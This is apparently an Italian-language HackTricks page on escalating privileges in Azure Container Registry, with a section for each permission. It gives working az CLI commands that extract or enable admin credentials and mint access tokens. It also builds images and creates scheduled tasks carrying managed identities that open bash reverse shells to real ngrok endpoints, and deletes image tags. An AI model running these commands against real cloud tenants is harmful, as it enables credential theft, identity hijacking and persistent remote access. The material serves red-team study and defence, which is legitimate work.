Az - Azure Container Registry Privesc
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Container Registry
Per ulteriori informazioni controlla:
Microsoft.ContainerRegistry/registries/listCredentials/action
Questo permesso consente all'utente di elencare le credenziali di amministrazione dell'ACR. Questo è utile per ottenere accesso completo al registro.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Nel caso in cui le credenziali di amministratore non siano abilitate, avrai anche bisogno del permesso Microsoft.ContainerRegistry/registries/write
per abilitarle con:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Queste autorizzazioni consentono all'utente di creare un nuovo token con password per accedere al registro.
Per utilizzare az cli
per generarlo come nell'esempio seguente, avrai anche bisogno delle autorizzazioni Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Queste autorizzazioni consentono all'utente di costruire ed eseguire un'immagine nel registro. Questo può essere utilizzato per eseguire codice nel contenitore.
[!WARNING] Tuttavia, l'immagine verrà eseguita in un ambiente isolato e senza accesso al servizio di metadata. Ciò significa che il contenitore non avrà accesso ai metadata dell'istanza, quindi questo non è realmente utile per l'escalation dei privilegi.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Questa è l'autorizzazione principale che consente di creare e aggiornare un'attività nel registro. Questo può essere utilizzato per eseguire un codice all'interno di un contenitore con un'identità gestita ad esso associata nel contenitore.
Questo è un esempio su come eseguire una reverse shell in un contenitore con l'identità gestita dal sistema ad essa associata:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Un altro modo per ottenere un RCE da un task senza utilizzare un repository esterno è usare il comando az acr task create
con il flag --cmd
. Questo ti permetterà di eseguire un comando nel container. Ad esempio, puoi eseguire una reverse shell con il seguente comando:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Nota che per assegnare l'identità gestita dal sistema non hai bisogno di permessi speciali, anche se deve essere stata abilitata in precedenza nel registro e assegnati alcuni permessi affinché sia utile.
Per assegnare anche un 'identità gestita dall'utente avresti bisogno del permesso Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
per fare:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Per aggiornare il repo di un'attività esistente puoi fare:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Con questo permesso è possibile importare un'immagine nel registro azure, anche senza avere l'immagine localmente. Tuttavia, nota che non puoi importare un'immagine con un tag che esiste già nel registro.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Per rimuovere o eliminare un tag di immagine specifico dal registro, puoi utilizzare il seguente comando. Tuttavia, nota che avrai bisogno di un utente o di un token con sufficienti permessi per farlo:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.